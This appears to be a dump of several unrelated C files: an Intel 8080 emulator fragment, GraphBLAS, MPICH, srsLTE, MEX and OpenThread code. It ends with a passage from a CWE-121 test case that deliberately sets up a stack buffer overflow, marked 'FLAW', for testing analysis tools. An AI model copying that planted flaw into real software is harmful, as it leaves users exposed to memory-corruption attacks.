uint16_t offset = (state->h << 8) | (state->l);
uint16_t answer = (uint16_t) state->a + state->memory[offset];
state->cc.z = ((answer & 0xff) == 0);
state->cc.s = ((answer & 0x80) != 0);
state->cc.cy = (answer > 0xff);
state->cc.p = Parity(answer & 0xff);
state->a = answer & 0xff;
}
case 0x87: addInstr(state, state->a, 0); break;
case 0x88: break;
case 0x89: break;
case 0x8a: break;
case 0x8b: break;
case 0x8c: break;
case 0x8d: break;
case 0x8e: break;
case 0x8f: break;
case 0x90: break;
case 0x91: break;
case 0x92: break;
case 0x93: break;
case 0x94: break;
case 0x95: break;
case 0x96: break;
case 0x97: break;
case 0x98: break;
case 0x99: break;
case 0x9a: break;
case 0x9b: break;
case 0x9c: break;
case 0x9d: break;
case 0x9e: break;
case 0x9f: break;
case 0xa0: break;
case 0xa1: break;
case 0xa2: break;
case 0xa3: break;
case 0xa4: break;
case 0xa5: break;
case 0xa6: break;
case 0xa7: break;
case 0xa8: break;
case 0xa9: break;
case 0xaa: break;
case 0xab: break;
case 0xac: break;
case 0xad: break;
case 0xae: break;
case 0xaf: break;
case 0xb0: break;
case 0xb1: break;
case 0xb2: break;
case 0xb3: break;
case 0xb4: break;
case 0xb5: break;
case 0xb6: break;
case 0xb7: break;
case 0xb8: break;
case 0xb9: break;
case 0xba: break;
case 0xbb: break;
case 0xbc: break;
case 0xbd: break;
case 0xbe: break;
case 0xbf: break;
case 0xc0: break;
case 0xc1: break;
case 0xc2: break;
case 0xc3: break;
case 0xc4: break;
case 0xc5: break;
case 0xc6: {
uint16_t answer = (uint16_t) state->a+ (uint16_t) opcode[1];
state->cc.z = ((answer & 0xff) == 0);
state->cc.s = ((answer & 0x80) != 0);
state->cc.cy = (answer > 0xff);
state->cc.p = Parity(answer & 0xff);
state->a = answer & 0xff;
} break;
case 0xc7: break;
case 0xc8: break;
case 0xc9: break;
case 0xca: break;
case 0xcb: break;
case 0xcc: break;
case 0xcd: break;
case 0xce: break;
case 0xcf: break;
case 0xd0: break;
case 0xd1: break;
case 0xd2: break;
case 0xd3: break;
case 0xd4: break;
case 0xd5: break;
case 0xd6: break;
case 0xd7: break;
case 0xd8: break;
case 0xd9: break;
case 0xda: break;
case 0xdb: break;
case 0xdc: break;
case 0xdd: break;
case 0xde: break;
case 0xdf: break;
case 0xe0: break;
case 0xe1: break;
case 0xe2: break;
case 0xe3: break;
case 0xe4: break;
case 0xe5: break;
case 0xe6: break;
case 0xe7: break;
case 0xe8: break;
case 0xe9: break;
case 0xea: break;
case 0xeb: break;
case 0xec: break;
case 0xed: break;
case 0xee: break;
case 0xef: break;
case 0xf0: break;
case 0xf1: break;
case 0xf2: break;
case 0xf3: break;
case 0xf4: break;
case 0xf5: break;
case 0xf6: break;
case 0xf7: break;
case 0xf8: break;
case 0xf9: break;
case 0xfa: break;
case 0xfb: break;
case 0xfc: break;
case 0xfd: break;
case 0xfe: break;
case 0xff: break;
}
state->pc+=1;
}
int main(int argc, char **argv) {
if (argc != 2 || strcmp(argv[1], "-h") == 0) {
printf("\tUsage: ");
return 1;
}
printf("---------- BlueWorld Intel 8080 Emulator ----------");
State8080 *state8080 = malloc(sizeof(State8080));
Emulate8080(state8080);
free(state8080);
return 0;
}
|
841621.c | /* SPDX-License-Identifier: MIT */
#include <string.h>
#include "efika/core.h"
#include "efika/core/rename.h"
/*----------------------------------------------------------------------------*/
/*! Initialize matrix. */
/*----------------------------------------------------------------------------*/
EFIKA_EXPORT int
Matrix_init(Matrix * const M)
{
memset(M, 0, sizeof(*M));
return 0;
}
|
535497.c | //------------------------------------------------------------------------------
// GB_AxB__land_le_fp64: hard-coded C=A*B
//------------------------------------------------------------------------------
// SuiteSparse:GraphBLAS, Timothy A. Davis, (c) 2017-2018, All Rights Reserved.
// http://suitesparse.com See GraphBLAS/Doc/License.txt for license.
// If this filename has a double underscore in its name ("__") then it has
// been automatically constructed from Template/GB*AxB.[ch], via the axb*.m
// scripts, and should not be editted. Edit the original source file instead.
//------------------------------------------------------------------------------
#include "GB.h"
#ifndef GBCOMPACT
#include "GB_AxB_methods.h"
// The C=A*B semiring is defined by the following types and operators:
// A*B function: GB_AxB__land_le_fp64
// A'*B function: GB_AdotB__land_le_fp64
// Z type : bool (the type of C)
// XY type: double (the type of A and B)
// Identity: true (where cij = (cij && true) does not change cij)
// Multiply: t = (aik <= bkj)
// Add: cij = (cij && t)
//------------------------------------------------------------------------------
// C<M>=A*B and C=A*B: outer product
//------------------------------------------------------------------------------
void GB_AxB__land_le_fp64
(
GrB_Matrix C,
const GrB_Matrix Mask,
const GrB_Matrix A,
const GrB_Matrix B,
bool flip // if true, A and B have been swapped
)
{
//--------------------------------------------------------------------------
// get A, B, and C
//--------------------------------------------------------------------------
// w has size C->nrows == A->nrows, each entry size zsize. uninitialized.
bool *restrict w = GB_thread_local.Work ;
bool *restrict Cx = C->x ;
const double *restrict Ax = A->x ;
const double *restrict Bx = B->x ;
const int64_t n = C->ncols ;
const int64_t *restrict Ap = A->p ;
const int64_t *restrict Ai = A->i ;
const int64_t *restrict Bp = B->p ;
const int64_t *restrict Bi = B->i ;
if (Mask != NULL)
{
//----------------------------------------------------------------------
// C<Mask> = A*B where Mask is pattern of C, with zombies
//----------------------------------------------------------------------
// get the Flag workspace (already allocated and cleared)
int8_t *restrict Flag = GB_thread_local.Flag ;
// get the mask
const int64_t *restrict Maskp = Mask->p ;
const int64_t *restrict Maski = Mask->i ;
const void *restrict Maskx = Mask->x ;
GB_cast_function cast_Mask =
GB_cast_factory (GB_BOOL_code, Mask->type->code) ;
size_t msize = Mask->type->size ;
int64_t cnz = 0 ;
int64_t *restrict Cp = C->p ;
int64_t *restrict Ci = C->i ;
for (int64_t j = 0 ; j < n ; j++)
{
//------------------------------------------------------------------
// compute C(;,j) = A * B(:,j), both values and pattern
//------------------------------------------------------------------
// log the start of column C(:,j)
Cp [j] = cnz ;
// skip this column j if the Mask is empty
int64_t mlo, mhi ;
if (empty (Maskp, Maski, j, &mlo, &mhi)) continue ;
bool marked = false ;
for (int64_t p = Bp [j] ; p < Bp [j+1] ; p++)
{
// B(k,j) is present
int64_t k = Bi [p] ;
// skip A(:,k) if empty or if entries out of range of Mask
int64_t alo, ahi ;
if (empty (Ap, Ai, k, &alo, &ahi)) continue ;
if (ahi < mlo || alo > mhi) continue ;
// scatter Mask(:,j) into Flag if not yet done
scatter_mask (j, Maskp, Maski, Maskx, msize, cast_Mask, Flag,
&marked) ;
double bkj = Bx [p] ;
for (int64_t pa = Ap [k] ; pa < Ap [k+1] ; pa++)
{
// w [i] += (A(i,k) * B(k,j)) .* Mask(i,j)
int64_t i = Ai [pa] ;
int8_t flag = Flag [i] ;
if (flag == 0) continue ;
// Mask(i,j) == 1 so do the work
double aik = Ax [pa] ;
bool t = aik <= bkj ;
if (flag > 0)
{
// first time C(i,j) seen
Flag [i] = -1 ;
w [i] = t ;
}
else
{
// C(i,j) seen before, update it
w [i] = (w [i] && t) ;
}
}
}
// gather C(:,j), both values and pattern, from the Mask(:,j)
if (marked)
{
for (int64_t p = Maskp [j] ; p < Maskp [j+1] ; p++)
{
int64_t i = Maski [p] ;
// C(i,j) is present
if (Flag [i] < 0)
{
// C(i,j) is a live entry, gather its row and value
Cx [cnz] = w [i] ;
Ci [cnz++] = i ;
}
Flag [i] = 0 ;
}
}
}
// finalize the last column of C and mark C as initialized
Cp [n] = cnz ;
C->magic = MAGIC ;
}
else
{
//----------------------------------------------------------------------
// C = A*B with pattern of C computed by GB_AxB_symbolic
//----------------------------------------------------------------------
const int64_t *restrict Cp = C->p ;
const int64_t *restrict Ci = C->i ;
for (int64_t j = 0 ; j < n ; j++)
{
// clear w
for (int64_t p = Cp [j] ; p < Cp [j+1] ; p++)
{
w [Ci [p]] = true ;
}
// compute C(;,j)
for (int64_t p = Bp [j] ; p < Bp [j+1] ; p++)
{
// B(k,j) is present
int64_t k = Bi [p] ;
double bkj = Bx [p] ;
for (int64_t pa = Ap [k] ; pa < Ap [k+1] ; pa++)
{
// w [i] += A(i,k) * B(k,j)
int64_t i = Ai [pa] ;
double aik = Ax [pa] ;
bool t = aik <= bkj ;
w [i] = (w [i] && t) ;
}
}
// gather C(:,j)
for (int64_t p = Cp [j] ; p < Cp [j+1] ; p++)
{
Cx [p] = w [Ci [p]] ;
}
}
}
}
//------------------------------------------------------------------------------
// C<M>=A'*B: dot product
//------------------------------------------------------------------------------
void GB_AdotB__land_le_fp64
(
GrB_Matrix C,
const GrB_Matrix Mask,
const GrB_Matrix A,
const GrB_Matrix B,
bool flip // if true, A and B have been swapped
)
{
//--------------------------------------------------------------------------
// get A, B, C, and Mask
//--------------------------------------------------------------------------
const int64_t *Ai = A->i ;
const int64_t *Bi = B->i ;
const int64_t *Ap = A->p ;
const int64_t *Bp = B->p ;
int64_t *Ci = C->i ;
int64_t *Cp = C->p ;
int64_t n = B->ncols ;
int64_t m = A->ncols ;
int64_t nrows = B->nrows ;
ASSERT (C->ncols == n) ;
ASSERT (C->nrows == m) ;
int64_t cnz = 0 ;
const int64_t *Maskp = NULL ;
const int64_t *Maski = NULL ;
const void *Maskx = NULL ;
GB_cast_function cast_Mask = NULL ;
size_t msize = 0 ;
if (Mask != NULL)
{
Maskp = Mask->p ;
Maski = Mask->i ;
Maskx = Mask->x ;
msize = Mask->type->size ;
// get the function pointer for casting Mask(i,j) from its current
// type into boolean
cast_Mask = GB_cast_factory (GB_BOOL_code, Mask->type->code) ;
}
#define MERGE \
{ \
double aki = Ax [pa++] ; /* aki = A(k,i) */ \
double bkj = Bx [pb++] ; /* bjk = B(k,j) */ \
bool t = aki <= bkj ; \
if (cij_exists) \
{ \
/* cij += A(k,i) * B(k,j) */ \
cij = (cij && t) ; \
} \
else \
{ \
/* cij = A(k,i) * B(k,j) */ \
cij_exists = true ; \
cij = t ; \
} \
}
bool *Cx = C->x ;
const double *Ax = A->x ;
const double *Bx = B->x ;
for (int64_t j = 0 ; j < n ; j++)
{
//----------------------------------------------------------------------
// C(:,j) = A'*B(:,j)
//----------------------------------------------------------------------
int64_t pb_start, pb_end, bjnz, ib_first, ib_last, kk1, kk2 ;
if (!jinit (Cp, j, cnz, Bp, Bi, Maskp, m, &pb_start, &pb_end,
&bjnz, &ib_first, &ib_last, &kk1, &kk2)) continue ;
for (int64_t kk = kk1 ; kk < kk2 ; kk++)
{
//------------------------------------------------------------------
// compute cij = A(:,i)' * B(:,j), using the semiring
//------------------------------------------------------------------
bool cij ;
bool cij_exists = false ; // C(i,j) not yet in the pattern
int64_t i, pa, pa_end, pb, ainz ;
if (!cij_init (kk, Maski, Maskx, cast_Mask, msize,
Ap, Ai, ib_first, ib_last, pb_start,
&i, &pa, &pa_end, &pb, &ainz)) continue ;
// B(:,j) and A(:,i) both have at least one entry
if (bjnz == nrows && ainz == nrows)
{
//--------------------------------------------------------------
// both A(:,i) and B(:,j) are dense
//--------------------------------------------------------------
cij_exists = true ;
cij = true ;
for (int64_t k = 0 ; k < nrows ; k++)
{
double aki = Ax [pa + k] ; // aki = A(k,i)
double bkj = Bx [pb + k] ; // bkj = B(k,j)
bool t = aki <= bkj ;
cij = (cij && t) ;
}
}
else if (ainz == nrows)
{
//--------------------------------------------------------------
// A(:,i) is dense and B(:,j) is sparse
//--------------------------------------------------------------
cij_exists = true ;
cij = true ;
for ( ; pb < pb_end ; pb++)
{
int64_t k = Bi [pb] ;
double aki = Ax [pa + k] ; // aki = A(k,i)
double bkj = Bx [pb] ; // bkj = B(k,j)
bool t = aki <= bkj ;
cij = (cij && t) ;
}
}
else if (bjnz == nrows)
{
//--------------------------------------------------------------
// A(:,i) is sparse and B(:,j) is dense
//--------------------------------------------------------------
cij_exists = true ;
cij = true ;
for ( ; pa < pa_end ; pa++)
{
int64_t k = Ai [pa] ;
double aki = Ax [pa] ; // aki = A(k,i)
double bkj = Bx [pb + k] ; // bkj = B(k,j)
bool t = aki <= bkj ;
cij = (cij && t) ;
}
}
else if (ainz > 32 * bjnz)
{
//--------------------------------------------------------------
// B(:,j) is very sparse compared to A(:,i)
//--------------------------------------------------------------
while (pa < pa_end && pb < pb_end)
{
int64_t ia = Ai [pa] ;
int64_t ib = Bi [pb] ;
if (ia < ib)
{
// A(ia,i) appears before B(ib,j)
// discard all entries A(ia:ib-1,i)
int64_t pleft = pa + 1 ;
int64_t pright = pa_end ;
GB_BINARY_TRIM_SEARCH (ib, Ai, pleft, pright) ;
ASSERT (pleft > pa) ;
pa = pleft ;
}
else if (ib < ia)
{
// B(ib,j) appears before A(ia,i)
pb++ ;
}
else // ia == ib == k
{
// A(k,i) and B(k,j) are the next entries to merge
MERGE ;
}
}
}
else if (bjnz > 32 * ainz)
{
//--------------------------------------------------------------
// A(:,i) is very sparse compared to B(:,j)
//--------------------------------------------------------------
while (pa < pa_end && pb < pb_end)
{
int64_t ia = Ai [pa] ;
int64_t ib = Bi [pb] ;
if (ia < ib)
{
// A(ia,i) appears before B(ib,j)
pa++ ;
}
else if (ib < ia)
{
// B(ib,j) appears before A(ia,i)
// discard all entries B(ib:ia-1,j)
int64_t pleft = pb + 1 ;
int64_t pright = pb_end ;
GB_BINARY_TRIM_SEARCH (ia, Bi, pleft, pright) ;
ASSERT (pleft > pb) ;
pb = pleft ;
}
else // ia == ib == k
{
// A(k,i) and B(k,j) are the next entries to merge
MERGE ;
}
}
}
else
{
//--------------------------------------------------------------
// A(:,i) and B(:,j) have about the same sparsity
//--------------------------------------------------------------
while (pa < pa_end && pb < pb_end)
{
int64_t ia = Ai [pa] ;
int64_t ib = Bi [pb] ;
if (ia < ib)
{
// A(ia,i) appears before B(ib,j)
pa++ ;
}
else if (ib < ia)
{
// B(ib,j) appears before A(ia,i)
pb++ ;
}
else // ia == ib == k
{
// A(k,i) and B(k,j) are the next entries to merge
MERGE ;
}
}
}
if (cij_exists)
{
// C(i,j) = cij
Cx [cnz] = cij ;
Ci [cnz++] = i ;
}
}
}
// log the end of the last column
Cp [n] = cnz ;
}
#undef MERGE
#endif
|
192775.c | /* -*- Mode: C; c-basic-offset:4 ; -*- */
/*
* (C) 2001 by Argonne National Laboratory.
* See COPYRIGHT in top-level directory.
*/
#include <mpid_dataloop.h>
#include <stdlib.h>
/*@
MPID_Type_commit
Input Parameters:
. datatype_p - pointer to MPI datatype
Output Parameters:
Return Value:
0 on success, -1 on failure.
@*/
int MPID_Type_commit(MPI_Datatype *datatype_p)
{
int mpi_errno=MPI_SUCCESS;
MPID_Datatype *datatype_ptr;
#if 0
MPID_Segment *segp;
MPI_Aint first, last;
#endif
MPIU_Assert(HANDLE_GET_KIND(*datatype_p) != HANDLE_KIND_BUILTIN);
MPID_Datatype_get_ptr(*datatype_p, datatype_ptr);
if (datatype_ptr->is_committed == 0) {
datatype_ptr->is_committed = 1;
MPID_Dataloop_create(*datatype_p,
&datatype_ptr->dataloop,
&datatype_ptr->dataloop_size,
&datatype_ptr->dataloop_depth,
MPID_DATALOOP_HOMOGENEOUS);
/* create heterogeneous dataloop */
MPID_Dataloop_create(*datatype_p,
&datatype_ptr->hetero_dloop,
&datatype_ptr->hetero_dloop_size,
&datatype_ptr->hetero_dloop_depth,
MPID_DATALOOP_HETEROGENEOUS);
#if 0
/* determine number of contiguous blocks in the type */
segp = MPID_Segment_alloc();
/* --BEGIN ERROR HANDLING-- */
if (!segp)
{
mpi_errno = MPIR_Err_create_code(MPI_SUCCESS,
MPIR_ERR_RECOVERABLE,
"MPID_Type_commit",
__LINE__,
MPI_ERR_OTHER,
"**nomem",
0);
return mpi_errno;
}
/* --END ERROR HANDLING-- */
MPID_Segment_init(0, 1, *datatype_p, segp, 0); /* first 0 is bufptr,
* 1 is count
* last 0 is homogeneous
*/
first = 0;
last = SEGMENT_IGNORE_LAST;
MPID_Segment_free(segp);
#endif
MPIU_DBG_PRINTF(("# contig blocks = %d\n",
(int) datatype_ptr->n_contig_blocks));
#if 0
MPIDI_Dataloop_dot_printf(datatype_ptr->dataloop, 0, 1);
#endif
}
return mpi_errno;
}
|
948654.c | /**
*
* \section COPYRIGHT
*
* Copyright 2013-2015 Software Radio Systems Limited
*
* \section LICENSE
*
* This file is part of the srsLTE library.
*
* srsLTE is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as
* published by the Free Software Foundation, either version 3 of
* the License, or (at your option) any later version.
*
* srsLTE is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* A copy of the GNU Affero General Public License can be found in
* the LICENSE file in the top-level directory of this distribution
* and at http://www.gnu.org/licenses/.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include "srslte/phy/sync/sfo.h"
/* Estimate SFO based on the array of time estimates t0
* of length len. The parameter period is the time between t0 samples
*/
float srslte_sfo_estimate(int *t0, int len, float period) {
int i;
float sfo=0.0;
for (i=1;i<len;i++) {
sfo += (t0[i]-t0[i-1])/period/len;
}
return sfo;
}
/* Same as srslte_sfo_estimate but period is non-uniform.
* Vector t is the sampling time times period for each t0
*/
float srslte_sfo_estimate_period(int *t0, int *t, int len, float period) {
int i;
float sfo=0.0;
for (i=1;i<len;i++) {
if (abs(t0[i]-t0[i-1]) < 5000) {
sfo += (t0[i]-t0[i-1])/(t[i] - t[i-1])/period;
}
}
return sfo/(len-2);
}
|
64029.c | #include "mex.h"
#include <math.h>
/*
% KERNELX Computes a kernel estimate of a PDF
% USAGE:
% [f,F]=kernel(x,xi,h,ktype);
% INPUTS:
% x : an mx1 vector of evaluation points
% xi : an nx1 vector of observations
% h : bandwidth (optional)
% ktype : 0 = Gaussian, 1 = Epanechnikov (optional, default=1)
% OUTPUTS
% f : an mx1 vector of estimates of the PDF
% F : an mx1 vector of estimates of the CDF
%
% Example:
% xi=randn(1000,1);
% x=linspace(-5,5,101)';
% figure(1); plot(x,[normpdf(x) kernel(x,xi,.4)]);
*/
double cdfn(double x)
{
const double p1[5] = {
3.20937758913846947e03,
3.77485237685302021e02,
1.13864154151050156e02,
3.16112374387056560e00,
1.85777706184603153e-1};
const double q1[4] = {
2.84423683343917062e03,
1.28261652607737228e03,
2.44024637934444173e02,
2.36012909523441209e01};
const double p2[9] = {
1.23033935479799725e03,
2.05107837782607147e03,
1.71204761263407058e03,
8.81952221241769090e02,
2.98635138197400131e02,
6.61191906371416295e01,
8.88314979438837594e00,
5.64188496988670089e-1,
2.15311535474403846e-8};
const double q2[8] = {
1.23033935480374942e03,
3.43936767414372164e03,
4.36261909014324716e03,
3.29079923573345963e03,
1.62138957456669019e03,
5.37181101862009858e02,
1.17693950891312499e02,
1.57449261107098347e01};
const double p3[6] = {
6.58749161529837803e-4,
1.60837851487422766e-2,
1.25781726111229246e-1,
3.60344899949804439e-1,
3.05326634961232344e-1,
1.63153871373020978e-2};
const double q3[5] = {
2.33520497626869185e-3,
6.05183413124413191e-2,
5.27905102951428412e-1,
1.87295284992346047e00,
2.56852019228982242e00};
const double sqrt2i=7.071067811865475244e-1;
int i;
double xval, xx, p, q;
bool NegativeValue;
if (mxIsNaN(x)) return(mxGetNaN());
xval=x;
if (xval<0) {xval=-sqrt2i*xval; NegativeValue=true; }
else {xval= sqrt2i*xval; NegativeValue=false;}
if (xval<=0.46875)
{
xx = xval*xval;
p=p1[4];
q=1.0;
for (i=3;i>=0;i--) {p=p*xx+p1[i]; q=q*xx+q1[i];}
xx=p/q;
xx *= xval;
if (NegativeValue) xx = (1-xx)/2; else xx = (1+xx)/2;
}
else if (xval<=5.6568542494923806)
{
xx=xval;
p=p2[8];
q=1.0;
for (i=7;i>=0;i--) {p=p*xx+p2[i]; q=q*xx+q2[i];}
xx=p/q;
xx = exp(-xval*xval)*xx;
if (NegativeValue) xx=xx/2; else xx=1-xx/2;
}
else if (xval<8.3)
{
xx=1/(xval*xval);
p=p3[5];
q=1.0;
for (i=4;i>=0;i--) {p=p*xx+p3[i]; q=q*xx+q3[i];}
xx=p/q;
xx = exp(-xval*xval)*(sqrt2i-xx)/(xval);
if (mxIsNaN(xx)) xx=0.0;
if (NegativeValue) xx=xx/2; else xx=1-xx/2;
}
else
if (NegativeValue) xx=0; else xx=1;
return(xx);
}
void mexFunction(
int nlhs, mxArray *plhs[],
int nrhs, const mxArray *prhs[])
{
const double pi=3.141592653589793238463;
const double sqrt5=2.236067977499789696409;
double *f, *F, *x, *xi, *h;
double factor1, factor2, k, hi, sum, mean, std, fj, Fj, kk;
int hAdd;
int i, j, n, m, ktype, hval;
bool getcdf;
/* Error checking on inputs */
if (nrhs<4) mexErrMsgTxt("Not enough input arguments.");
if (nrhs>4) mexErrMsgTxt("Too many input arguments.");
if (nlhs>2) mexErrMsgTxt("Too many output arguments.");
for (i=0;i<nrhs;i++)
{
if (!mxIsDouble(prhs[i]))
mexErrMsgTxt("Function not defined for variables of input class");
if (mxIsSparse(prhs[i]))
mexErrMsgTxt("Function not defined for sparse matrices");
}
/* Dimension Checking and initializations */
n=mxGetNumberOfElements(prhs[0]);
m=mxGetNumberOfElements(prhs[1]);
i=mxGetNumberOfElements(prhs[2]);
if (i==1) hAdd=0;
else if (i==m) hAdd=1;
else mexErrMsgTxt("xi and h are incompatible");
x=mxGetPr(prhs[0]);
xi=mxGetPr(prhs[1]);
if (mxIsEmpty(prhs[2])) {h=&hval; hval=0;}
else h=mxGetPr(prhs[2]);
/* 0 = Gaussian, 1 = Epanechnikov */
if (mxIsEmpty(prhs[3])) ktype=1;
else ktype=*mxGetPr(prhs[3]);
/* Allocate memory for output arrays */
plhs[0]=mxDuplicateArray(prhs[0]);
f=mxGetPr(plhs[0]);
memset(f,0,n*sizeof(double));
if (nlhs==2)
{
plhs[1]=mxDuplicateArray(plhs[0]);
F=mxGetPr(plhs[1]);
getcdf=true;
}
else getcdf=false;
if (*h==0)
{
hAdd=0;
if (ktype==1) *h=1.0487*pow(m,-0.2);
else *h=1.0592*pow(m,-0.2);
}
/* compute the mean */
sum=0; for (i=0; i<m; i++) sum+=xi[i]; mean=sum/m;
/* compute the standard deviation */
sum=0; for (i=0; i<m; i++) {std=(xi[i]-mean); sum+=std*std;}
std=sqrt(sum/(m-1));
if (ktype==1) factor1=0.15/sqrt5/m;
else factor1=1/sqrt(2*pi)/m;
hi=*h*std;
factor2=factor1/hi;
if (getcdf) /* get PDF and CDF */
for (i=0; i<m; i++) {
for (j=0; j<n; j++) {
k=(x[j]-xi[i])/hi;
if (ktype==1) {
kk=k*k;
if (kk<5){
f[j]+=factor2*(5-kk);
F[j]+=factor1*(k*(15-kk)+10*sqrt5)/3;
}
else if (k>=sqrt5) F[j]+=1.0/m;
}
else {
f[j]+=factor2*exp(-0.5*k*k);
F[j]+=cdfn(k)/m;
}
}
if (hAdd==1) {h++; hi=*h*std; factor2=factor1/hi;}
}
else /* get PDF only */
if (ktype==1) /* Epinichnikov */
for (i=0; i<m; i++) {
for (j=0; j<n; j++) {
k=(x[j]-xi[i])/hi;
if (fabs(k)<sqrt5) f[j]+=factor2*(5-k*k);
}
if (hAdd==1) {h++; hi=*h*std; factor2=factor1/hi;}
}
else /* Gaussian */
for (i=0; i<m; i++) {
for (j=0; j<n; j++) {
k=(x[j]-xi[i])/hi;
f[j]+=factor2*exp(-0.5*k*k);
}
if (hAdd==1) {h++; hi=*h*std; factor2=factor1/hi;}
}
}
|
886421.c | #include <stdio.h>
typedef short int16_t;
static int16_t int_array[3] = { 10, 20, 30 };
static const char * string_array[2] = { "Hello", "World!" };
int main(void) {
printf("[ %d, %d, %d ]\n", int_array[0], int_array[1], int_array[2]);
printf("[ \"%s\", \"%s\" ]\n", string_array[0], string_array[1]);
return 0;
}
|
513059.c | /* Enable event process-wide.
Copyright (C) 1999, 2001, 2002 Free Software Foundation, Inc.
This file is part of the GNU C Library.
Contributed by Ulrich Drepper <[email protected]>, 1999.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#include <stddef.h>
#include "thread_dbP.h"
td_err_e
td_thr_event_enable(const td_thrhandle_t *th, int onoff)
{
LOG ("td_thr_event_enable");
/* Write the new value into the thread data structure. */
if (th->th_unique == NULL)
{
psaddr_t addr;
if (td_lookup (th->th_ta_p->ph, LINUXTHREADS_INITIAL_REPORT_EVENTS,
&addr) != PS_OK)
/* Cannot read the symbol. This should not happen. */
return TD_ERR;
if (ps_pdwrite (th->th_ta_p->ph, addr, &onoff, sizeof (int)) != PS_OK)
return TD_ERR;
return TD_OK;
}
if (ps_pdwrite (th->th_ta_p->ph,
((char *) th->th_unique
+ offsetof (struct _pthread_descr_struct,
p_report_events)),
&onoff, sizeof (int)) != PS_OK)
return TD_ERR; /* XXX Other error value? */
return TD_OK;
}
|
795383.c | /*
* Copyright (c) 2017, The OpenThread Authors.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the copyright holder nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/**
* @file
* This file implements the OpenThread platform abstraction for miscellaneous behaviors.
*/
#include <openthread/types.h>
#include <openthread/platform/misc.h>
#include "platform-efr32.h"
#include "em_rmu.h"
static uint32_t sResetCause;
void efr32MiscInit(void)
{
// Read the cause of last reset.
sResetCause = RMU_ResetCauseGet();
// Clear the register, as the causes cumulate over resets.
RMU_ResetCauseClear();
}
void otPlatReset(otInstance *aInstance)
{
(void)aInstance;
NVIC_SystemReset();
}
otPlatResetReason otPlatGetResetReason(otInstance *aInstance)
{
(void)aInstance;
otPlatResetReason reason;
if (sResetCause & RMU_RSTCAUSE_PORST)
{
reason = OT_PLAT_RESET_REASON_POWER_ON;
}
else if (sResetCause & RMU_RSTCAUSE_SYSREQRST)
{
reason = OT_PLAT_RESET_REASON_SOFTWARE;
}
else if (sResetCause & RMU_RSTCAUSE_WDOGRST)
{
reason = OT_PLAT_RESET_REASON_WATCHDOG;
}
else if (sResetCause & RMU_RSTCAUSE_EXTRST)
{
reason = OT_PLAT_RESET_REASON_EXTERNAL;
}
else if (sResetCause & RMU_RSTCAUSE_LOCKUPRST)
{
reason = OT_PLAT_RESET_REASON_FAULT;
}
else if ((sResetCause & RMU_RSTCAUSE_AVDDBOD) ||
(sResetCause & RMU_RSTCAUSE_DECBOD) ||
(sResetCause & RMU_RSTCAUSE_DVDDBOD) ||
(sResetCause & RMU_RSTCAUSE_EM4RST))
{
reason = OT_PLAT_RESET_REASON_ASSERT;
}
else
{
reason = OT_PLAT_RESET_REASON_UNKNOWN;
}
return reason;
}
void otPlatWakeHost(void)
{
// TODO: implement an operation to wake the host from sleep state.
}
|
294856.c | /* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE121_Stack_Based_Buffer_Overflow__dest_char_declare_loop_67a.c
Label Definition File: CWE121_Stack_Based_Buffer_Overflow__dest.string.label.xml
Template File: sources-sink-67a.tmpl.c
*/
/*
* @description
* CWE: 121 Stack Based Buffer Overflow
* BadSource: Set data pointer to the bad buffer
* GoodSource: Set data pointer to the good buffer
* Sinks: loop
* BadSink : Copy string to data using a loop
* Flow Variant: 67 Data flow: data passed in a struct from one function to another in different source files
*
* */
#include "std_testcase.h"
#include <wchar.h>
typedef struct _CWE121_Stack_Based_Buffer_Overflow__dest_char_declare_loop_67_struct_type
{
char * a;
} CWE121_Stack_Based_Buffer_Overflow__dest_char_declare_loop_67_struct_type;
#ifndef OMITBAD
/* bad function declaration */
void CWE121_Stack_Based_Buffer_Overflow__dest_char_declare_loop_67b_bad_sink(CWE121_Stack_Based_Buffer_Overflow__dest_char_declare_loop_67_struct_type my_struct);
void CWE121_Stack_Based_Buffer_Overflow__dest_char_declare_loop_67_bad()
{
char * data;
CWE121_Stack_Based_Buffer_Overflow__dest_char_declare_loop_67_struct_type my_struct;
char data_badbuf[50];
char data_goodbuf[100];
/* FLAW: Set a pointer to a "small" buffer. This buffer will be used in the sinks as a destination
* buffer in various memory copying functions using a "large" source buffer. */
data = data_badbuf;
data[0] = '\0'; /* null terminate */
my_struct.a = data;
